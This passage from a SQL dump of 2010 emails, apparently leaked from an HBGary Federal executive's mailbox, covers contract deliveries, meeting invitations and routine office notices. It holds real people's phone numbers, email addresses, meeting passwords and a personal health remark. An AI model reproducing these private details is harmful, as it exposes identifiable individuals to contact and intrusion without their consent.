LLC719.510.8478\r\n\r\n',13177,'aaron_hbgary_com/13177.html'),(12282,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009072.M101386P14101Q7137.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: SCIF Space','I understand.  Thanks John.  The NG idea is a long story.  Big company internal fighting.\r\n\r\nAaron\r\n\r\nOn Sep 23, 2010, at 6:14 PM, John Edwards wrote:\r\n\r\n> Aaron,\r\n> Unfortunately, unless its something that we are doing together, then it falls into the category of too hard.  Unless you are just talking about storage.  If you are talking about creating/processing anything, then it would take longer to get approved than you probably have to respond.\r\n> Sorry about that.\r\n> I would think that NG or Xetron (given that you are subcontracting to them) would be able to accommodate you.\r\n> John\r\n> \r\n> \r\n> On Sep 21, 2010, at 5:43 PM, Aaron Barr wrote:\r\n> \r\n>> Hi John,\r\n>> \r\n>> Do you have any small amount of scif space available (sponsored by your old org)?  I have a proposal I am working on for a short term gig and need to find some space.  We are sub to NG Xetron on the work.\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',5681,'aaron_hbgary_com/5681.html'),(12283,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009072.M370986P14101Q7138.eml','aaron@hbgary.com','Alarm - DigitalGlobe Review of Managed Services Proposal','September 24, 2010 3:00 PM : DigitalGlobe Review of Managed Services ProposalAgendaReview Managed Services Proposal-- fees-- deliverablesReview Installation and DeploymentReview timelinesPhil Wallisch changed the time for this online meeting.&nbsp;Topic: DigitalGlobe Review of Managed Services Proposal&nbsp;Date: Friday, September 24, 2010&nbsp;Time: 5:00 pm, Eastern Daylight Time (New York, GMT-04:00)&nbsp;Meeting Number: 571 737 008&nbsp;Meeting Password: ddna&nbsp;-------------------------------------------------------&nbsp;To join the online meeting (Now from the Apple iPhone (R) too!)&nbsp;-------------------------------------------------------&nbsp;1. Go to https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;RT=MiMxMQ%3D%3D&nbsp;2. If requested, enter your name and email address.&nbsp;3. If a password is required, enter the meeting password: ddna&nbsp;4. Click \"Join\".&nbsp;To view in other time zones or languages, please click the link:&nbsp;https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;ORT=MiMxMQ%3D%3D&nbsp;-------------------------------------------------------&nbsp;To join the audio conference only&nbsp;-------------------------------------------------------&nbsp;Call-in toll number (US/Canada): 1-408-792-6300&nbsp;Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=155871232&amp;tollFree=0&nbsp;Access code:571 737 008&nbsp;-------------------------------------------------------&nbsp;For assistance&nbsp;-------------------------------------------------------&nbsp;1. Go to https://hbgary.webex.com/hbgary/mc&nbsp;2. On the left navigation bar, click \"Support\".&nbsp;You can contact me at:&nbsp;phil@hbgary.com&nbsp;To update this meeting to your calendar program (for example Microsoft Outlook), click this link:&nbsp;https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;ICS=MRS3&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=8A0dlB6yjTLw2tTIAvy86jvf0OeGI3aJXT4Y9HwAkP0=&amp;RT=MiMxMQ%3D%3D&nbsp;WebEx will automatically setup Meeting Manager for Windows the first time you join a meeting. To save time, you can setup prior to the meeting by clicking this link:&nbsp;https://hbgary.webex.com/hbgary/meetingcenter/mcsetup.php&nbsp;The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php&nbsp;Sign up for a free trial of WebEx&nbsp;http://www.webex.com/go/mcemfreetrial&nbsp;http://www.webex.com&nbsp; ',552,'aaron_hbgary_com/552.html'),(12284,'2010-09-24','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297009072.M646965P14101Q7139.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: DigitalGlobe Review of Managed Services Proposal @ Fri Sep 24 3pm - 4pm (aaron@hbgary.com)',' more details &raquo;DigitalGlobe Review of Managed Services ProposalAgenda\r\n\r\nReview Managed Services Proposal\r\n-- fees\r\n-- deliverables\r\nReview Installation and Deployment\r\nReview timelines\r\n\r\nPhil Wallisch changed the time for this online meeting. \r\n\r\nTopic: DigitalGlobe Review of Managed Services Proposal \r\nDate: Friday, September 24, 2010 \r\nTime: 5:00 pm, Eastern Daylight Time (New York, GMT-04:00) \r\nMeeting Number: 571 737 008 \r\nMeeting Password: ddna \r\n\r\n\r\n------------------------------------------------------- \r\nTo join the online meeting (Now from the Apple iPhone (R) too!) \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;RT=MiMxMQ%3D%3D \r\n2. If requested, enter your name and email address. \r\n3. If a password is required, enter the meeting password: ddna \r\n4. Click &quot;Join&quot;. \r\n\r\nTo view in other time zones or languages, please click the link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;ORT=MiMxMQ%3D%3D \r\n\r\n------------------------------------------------------- \r\nTo join the audio conference only \r\n------------------------------------------------------- \r\nCall-in toll number (US/Canada): 1-408-792-6300 \r\nGlobal call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=155871232&amp;tollFree=0 \r\n\r\nAccess code:571 737 008 \r\n\r\n------------------------------------------------------- \r\nFor assistance \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/mc \r\n2. On the left navigation bar, click &quot;Support&quot;. \r\n\r\nYou can contact me at: \r\nphil@hbgary.com \r\n\r\n\r\nTo update this meeting to your calendar program (for example Microsoft Outlook), click this link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;ICS=MRS3&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=8A0dlB6yjTLw2tTIAvy86jvf0OeGI3aJXT4Y9HwAkP0=&amp;RT=MiMxMQ%3D%3D \r\n\r\n\r\nWebEx will automatically setup Meeting Manager for Windows the first time you join a meeting. To save time, you can setup prior to the meeting by clicking this link: \r\nhttps://hbgary.webex.com/hbgary/meetingcenter/mcsetup.php \r\n\r\n\r\nThe playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php \r\n\r\nSign up for a free trial of WebEx \r\nhttp://www.webex.com/go/mcemfreetrial \r\n\r\nhttp://www.webex.com WhenFri Sep 24 3pm – 4pm Eastern TimeWhere Call-in toll number (US/Canada): 1-408-792-6300  Meeting Number: 571 737 008 (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;dcollend@digitalglobe.com&#x2022;Aaron Barr&#x2022;Matt Standart&#x2022;Ted Vera&#x2022;Phil Wallisch&#x2022;bcoulson@digitalglobe.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',11117,'aaron_hbgary_com/11117.html'),(12285,'2010-09-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009072.M966170P14101Q7140.eml','aaron@hbgary.com,dcollend@digitalglobe.com,\"Matt Standart\" <matt@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,bcoulson@digitalglobe.com,\"Phil Wallisch\" <phil@hbgary.com>','Updated Invitation: DigitalGlobe Review of Managed Services Proposal @ Fri Sep 24 5pm - 6pm (aaron@hbgary.com)','This event has been changed. more details &raquo;DigitalGlobe Review of Managed Services ProposalAgenda\r\n\r\nReview Managed Services Proposal\r\n-- fees\r\n-- deliverables\r\nReview Installation and Deployment\r\nReview timelines\r\n\r\nPhil Wallisch changed the time for this online meeting. \r\n\r\nTopic: DigitalGlobe Review of Managed Services Proposal \r\nDate: Friday, September 24, 2010 \r\nTime: 5:00 pm, Eastern Daylight Time (New York, GMT-04:00) \r\nMeeting Number: 571 737 008 \r\nMeeting Password: ddna \r\n\r\n\r\n------------------------------------------------------- \r\nTo join the online meeting (Now from the Apple iPhone (R) too!) \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;RT=MiMxMQ%3D%3D \r\n2. If requested, enter your name and email address. \r\n3. If a password is required, enter the meeting password: ddna \r\n4. Click &quot;Join&quot;. \r\n\r\nTo view in other time zones or languages, please click the link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;ORT=MiMxMQ%3D%3D \r\n\r\n------------------------------------------------------- \r\nTo join the audio conference only \r\n------------------------------------------------------- \r\nCall-in toll number (US/Canada): 1-408-792-6300 \r\nGlobal call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=155871232&amp;tollFree=0 \r\n\r\nAccess code:571 737 008 \r\n\r\n------------------------------------------------------- \r\nFor assistance \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/mc \r\n2. On the left navigation bar, click &quot;Support&quot;. \r\n\r\nYou can contact me at: \r\nphil@hbgary.com \r\n\r\n\r\nTo update this meeting to your calendar program (for example Microsoft Outlook), click this link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;ICS=MRS3&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=8A0dlB6yjTLw2tTIAvy86jvf0OeGI3aJXT4Y9HwAkP0=&amp;RT=MiMxMQ%3D%3D \r\n\r\n\r\nWebEx will automatically setup Meeting Manager for Windows the first time you join a meeting. To save time, you can setup prior to the meeting by clicking this link: \r\nhttps://hbgary.webex.com/hbgary/meetingcenter/mcsetup.php \r\n\r\n\r\nThe playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php \r\n\r\nSign up for a free trial of WebEx \r\nhttp://www.webex.com/go/mcemfreetrial \r\n\r\nhttp://www.webex.com WhenChanged: Fri Sep 24 5pm – 6pm Eastern TimeWhere Call-in toll number (US/Canada): 1-408-792-6300  Meeting Number: 571 737 008 (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;dcollend@digitalglobe.com&#x2022;Matt Standart&#x2022;Aaron Barr&#x2022;Ted Vera&#x2022;bcoulson@digitalglobe.com&#x2022;Phil WallischGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',10158,'aaron_hbgary_com/10158.html'),(12286,'2010-09-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009073.M525608P14101Q7141.eml','\"Inc. HBGARY\" <All@hbgary.com>','Open enrollment for Health Ins','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi to all,\r\n\r\n&nbsp;\r\n\r\nOpen enrollment for health insurance opens October 1, 2010\r\nand closes October &nbsp;28, 2010.&nbsp; Jeff Bell will contact all employees\r\nwith current premiums and plan information.&nbsp; Please contact me if you\r\nwould like a particular date or time for him to contact you.\r\n\r\n&nbsp;\r\n\r\nHere will be in the office October 4 for those of you who\r\nare in the Sacramento office and would like to speak with him personally. \r\n\r\n&nbsp;\r\n\r\nAttached you will find the You choose Plan.&nbsp; Please\r\nread, It may help with any questions you may have for Jeff.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14795,'aaron_hbgary_com/14795.html'),(12287,'2010-09-24','\"Hull, Wayne A\" <Wayne.Hull@ManTech.com>','/aaron@hbgary.com/new/1297009075.M427432P14101Q7143.eml','ted@hbgary.com,ted@hbgary.com,','Gatorbait Sealed Package','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Ted/Aaron,\r\n\r\n&nbsp;\r\n\r\nDo you know when you are delivering you sealed package?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nWayne\r\n\r\n&nbsp;\r\n\r\nWayne\r\nA. Hull\r\n\r\nSenior\r\nContracts Manager\r\n\r\nManTech\r\nMission, Cyber &amp; Technology Solutions Group\r\n\r\nPhone:\r\n(703) 610-9232\r\n\r\nMobile:\r\n(703) 899-2896\r\n\r\nUnclassified\r\nfax: (703) 847-0486\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12732,'aaron_hbgary_com/12732.html'),(12288,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009075.M801697P14101Q7144.eml','\"Hull, Wayne A\" <Wayne.Hull@ManTech.com>','Re: Gatorbait Sealed Package','I am printing and sealing and will be driving it over shortly. :)AaronOn Sep 24, 2010, at 3:20 PM, Hull, Wayne A wrote:&nbsp;Ted/Aaron,&nbsp;Do you know when you are delivering you sealed package?&nbsp;Thanks,Wayne&nbsp;Wayne A. HullSenior Contracts ManagerManTech Mission, Cyber &amp; Technology Solutions GroupPhone: (703) 610-9232Mobile: (703) 899-2896Unclassified fax: (703) 847-0486**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',13173,'aaron_hbgary_com/13173.html'),(12289,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009075.M98649P14101Q7142.eml','\"Greg Hoglund\" <greg@hbgary.com>','Flow for Palantir Discussion','Let me know if this makes sense or not.\r\n\r\n',15719,'aaron_hbgary_com/15719.html'),(12290,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009076.M154966P14101Q7145.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Social Media Talk','You guys might be interested.\r\n\r\nCheck on the LinkedIn and Facebook pages for Cybernexus.  I will be giving my social media talk on Oct. 5th.  I am biased but I think mine is a heck of a lot better than Robin Sage.\r\n\r\nFYI Greg is on the GovCon presentation stuff looking for the right data for us.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',393,'aaron_hbgary_com/393.html'),(12291,'2010-09-24','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297009076.M643413P14101Q7146.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Aaron Zollman\" <azollman@palantir.com>','Re: Social Media Talk','Robin sage frankly isn\'t all that compelling. Ill be sure to see your talk. \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Aaron Zollman\r\nTo: Matthew Steckman\r\nSubject: Social Media Talk\r\nSent: Sep 24, 2010 3:27 PM\r\n\r\nYou guys might be interested.\r\n\r\nCheck on the LinkedIn and Facebook pages for Cybernexus.  I will be giving my social media talk on Oct. 5th.  I am biased but I think mine is a heck of a lot better than Robin Sage.\r\n\r\nFYI Greg is on the GovCon presentation stuff looking for the right data for us.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n',7527,'aaron_hbgary_com/7527.html'),(12292,'2010-09-24','\"Goldman, Bradford\" <Bradford.Goldman@parsons.com>','/aaron@hbgary.com/new/1297009076.M891509P14101Q7147.eml','\"Goldman, Bradford\" <Bradford.Goldman@parsons.com>','New Contact Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nMy new contact information.&nbsp; Have a great weekend.\r\n\r\n&nbsp;\r\n\r\nregards,\r\n\r\nBrad Goldman\r\n\r\nVP - Intelligence Sector\r\n\r\n+1.202.469.6403 (office)\r\n+1.703.966.6010 (cell)\r\n\r\nemail: Bradford.Goldman@Parsons.com\r\n\r\nwww.Parsons.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15896,'aaron_hbgary_com/15896.html'),(12293,'2010-09-24','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297009077.M300354P14101Q7148.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: WiiKno, Inc. HGary Discussion re: NCSC etc. @ Fri Sep 24 4pm - 5pm (aaron@hbgary.com)',' more details &raquo;WiiKno, Inc. HGary Discussion re: NCSC etc.Craig Tobias CTO WiiKnoAaron Barr HBGary Federal CEOTed Vera HBGary Fedaral CTOMaria Lucas Regional Sales DirectorAgendaCraig Tobias is working on an NCSC project for information security -- handling a fiber component.  Craig approached HBGary to become a Reseller/Partner and introduce us to the NCSC.The purpose of the meeting is to explore the opportunity and partnership viability.  Craig also does work with social engineering.1.  Please join my meeting, Friday, September 24 at 02:00 PM MDT.https://www1.gotomeeting.com/join/2537902572.  Use your microphone and speakers (VoIP) - a headset isrecommended. Or, call in using your telephone.Dial 712-338-7141Access Code: 253-790-257Audio PIN: Shown after joining the meetingMeeting Password: ddnaMeeting ID: 253-790-257GoToMeeting®Online Meetings Made Easy™View your event at http://www.google.com/calendar/hosted/hbgary.com/event?action=VIEW&amp;eid=dWxiOGtzMDRhb3BrcDltM3ZmYjA3cGx2M2cgYWFyb25AaGJnYXJ5LmNvbQ&amp;tok=MTYjbWFyaWFAaGJnYXJ5LmNvbTJkZmQ1NWI3YzQ3NWUyM2EyYmE1NmJiMjJjODdiZDE4ZjI2MTQyODU&amp;ctz=America%2FNew_York&amp;hl=en.WhenFri Sep 24 4pm – 5pm Eastern TimeWhereSee Below (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;Aaron Barr&#x2022;ctobias@wiikno.com&#x2022;Ted VeraGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',15926,'aaron_hbgary_com/15926.html'),(12294,'2010-09-24','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297009077.M610488P14101Q7149.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Wagner, Rick (TASC)\" <RICHARD.WAGNER@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','COIN/ROMAS status','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI spoke to the CO for COIN yesterday.&nbsp; The current\r\nprocurement approach is cancelled, she cited changed requirements.&nbsp; They\r\nwill be coming out with some documents in a month or two, most likely an updated\r\nRFI. &nbsp;&nbsp;There will be a procurement following soon after.&nbsp; We are\r\non the list to receive all information.\r\n\r\n&nbsp;\r\n\r\nMy speculation is that the four separate contracts approach\r\nwas justifiably shot down and they are re-grouping.&nbsp; \r\n\r\n&nbsp;\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL\r\nDISTRIBUTION ONLY\r\nThis e-mail, including\r\nattachments, is intended for the exclusive use of the person or entity to whom\r\nit is addressed and may contain confidential or privileged information. If the\r\nreader of this e-mail is not the intended recipient or his or her authorized\r\nagent, the reader is hereby notified that any dissemination, distribution or\r\ncopying of this e-mail is prohibited. If you think that you have received this\r\ne-mail in error, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10413,'aaron_hbgary_com/10413.html'),(12295,'2010-09-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009079.M413446P14101Q7150.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@me.com>','Sealed Solicitation No.: 2011*GATORBAIT','Attached.  Label the disk:\r\n\r\nHBGary Federal, LLC\r\nSolicitation No.:  2011*GATORBAIT\r\n\r\nI\'m checking on the number of copies for hardcopies and disks.  I\r\nthink it\'s just one... Verifying now.\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7307,'aaron_hbgary_com/7307.html'),(12296,'2010-09-24','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297009080.M392376P14101Q7151.eml','\"Aaron Barr\" <aaron@hbgary.com>','NGEN ISOOA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAnother thought: in advance\r\nof our meeting if you&#8217;d be willing to send Eric an email attesting to our\r\nqualifications and ability to win I&#8217;d greatly appreciate it.\r\n\r\n&nbsp;\r\n\r\nAttached is an INPUT brief\r\nwith the ISOOA portion of NGEN on page 8.\r\n\r\n&nbsp;\r\n\r\nThanks much.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3462,'aaron_hbgary_com/3462.html'),(12297,'2010-09-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009080.M933758P14101Q7152.eml','\"Hull, Wayne A\" <Wayne.Hull@mantech.com>,\"Hull, Wayne A\" <Wayne.Hull@mantech.com>','Re: Gatorbait Sealed Package','Hi Wayne,\r\n\r\nAs we discussed, Aaron Barr is at Kinko\'s now printing three (3)\r\nhardcopies of each document, and one (1) CD containing all of the\r\nsoftcopies.\r\n\r\nHe is just a short distance from your facility and will be there by\r\n5pm.  You can reach him at 719-510-8478.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 24, 2010 at 1:20 PM, Hull, Wayne A  wrote:\r\n>  Ted/Aaron,\r\n>\r\n>\r\n>\r\n> Do you know when you are delivering you sealed package?\r\n>\r\n>\r\n>\r\n> Thanks,\r\n>\r\n> Wayne\r\n>\r\n>\r\n>\r\n> Wayne A. Hull\r\n>\r\n> Senior Contracts Manager\r\n>\r\n> ManTech Mission, Cyber & Technology Solutions Group\r\n>\r\n> Phone: (703) 610-9232\r\n>\r\n> Mobile: (703) 899-2896\r\n>\r\n> Unclassified fax: (703) 847-0486\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>\r\n> This email and the contents of this email (including any attachments) are\r\n> company-confidential and/or proprietary.  Unless you are the addressee (or\r\n> authorized to receive for the addressee), you may not use, copy, disclose or\r\n> distribute this email or any of the contents of this email.  If you received\r\n> this email in error, please promptly notify the sender by reply email and\r\n> delete this email from your records.  Thank you.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2535,'aaron_hbgary_com/2535.html'),(12298,'2010-09-24','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297009081.M228435P14101Q7153.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Scout','Sure. Hope she feels better!\r\n\r\nSent from my mobile--excuse typos or brevity\r\n\r\nOn Sep 24, 2010, at 2:37 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Thank you much.  I had a wrench thrown into my plans.  My wife got  \r\n> kidney stones and that threw me out of whack for a few days.  I am  \r\n> headed to Seattle for a week but would very much like to pick it up  \r\n> when I return the week of Oct. 4th if that is ok?\r\n>\r\n> Aaron\r\n>\r\n> On Sep 20, 2010, at 3:05 PM, Sullivan, Mary wrote:\r\n>\r\n>> Aaron,\r\n>> The Scout is ready. Jon can facilitate pickup.\r\n>> Mary\r\n>>\r\n>> Sent from my mobile--excuse typos or brevity\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n',4238,'aaron_hbgary_com/4238.html'),(12299,'2010-09-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009081.M493390P14101Q7154.eml','\"Barr Aaron\" <aaron@hbgary.com>','Gatorbait Sealed Package','Need 3 hardcopies of each document.  1 CD with the softcopies. Labeled as:\r\n\r\n> HBGary Federal, LLC\r\n> Solicitation No.:  2011*GATORBAIT\r\n\r\nWayne is on the 7th floor.  I told him you\'d be there about 5pm.  He\r\nsaid just give him a call if you\'ll be later - contact info below.\r\n\r\nWayne A. Hull\r\nSenior Contracts Manager\r\nManTech Mission, Cyber & Technology Solutions Group\r\nPhone: (703) 610-9232\r\nMobile: (703) 899-2896\r\nUnclassified fax: (703) 847-0486\r\n',15124,'aaron_hbgary_com/15124.html'),(12300,'2010-09-24','\"Hull, Wayne A\" <Wayne.Hull@ManTech.com>','/aaron@hbgary.com/new/1297009081.M775741P14101Q7155.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Gatorbait Sealed Package','Thanks!!!!!\r\n\r\nWayne A. Hull\r\nSenior Contracts Manager\r\nManTech Mission, Cyber & Technology Solutions Group\r\nPhone: (703) 610-9232\r\nMobile: (703) 899-2896\r\nUnclassified fax: (703) 847-0486\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, September 24, 2010 4:17 PM\r\nTo: Hull, Wayne A\r\nCc: Barr Aaron\r\nSubject: Re: Gatorbait Sealed Package\r\n\r\nHi Wayne,\r\n\r\nAs we discussed, Aaron Barr is at Kinko\'s now printing three (3)\r\nhardcopies of each document, and one (1) CD containing all of the\r\nsoftcopies.\r\n\r\nHe is just a short distance from your facility and will be there by\r\n5pm.  You can reach him at 719-510-8478.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 24, 2010 at 1:20 PM, Hull, Wayne A  wrote:\r\n>  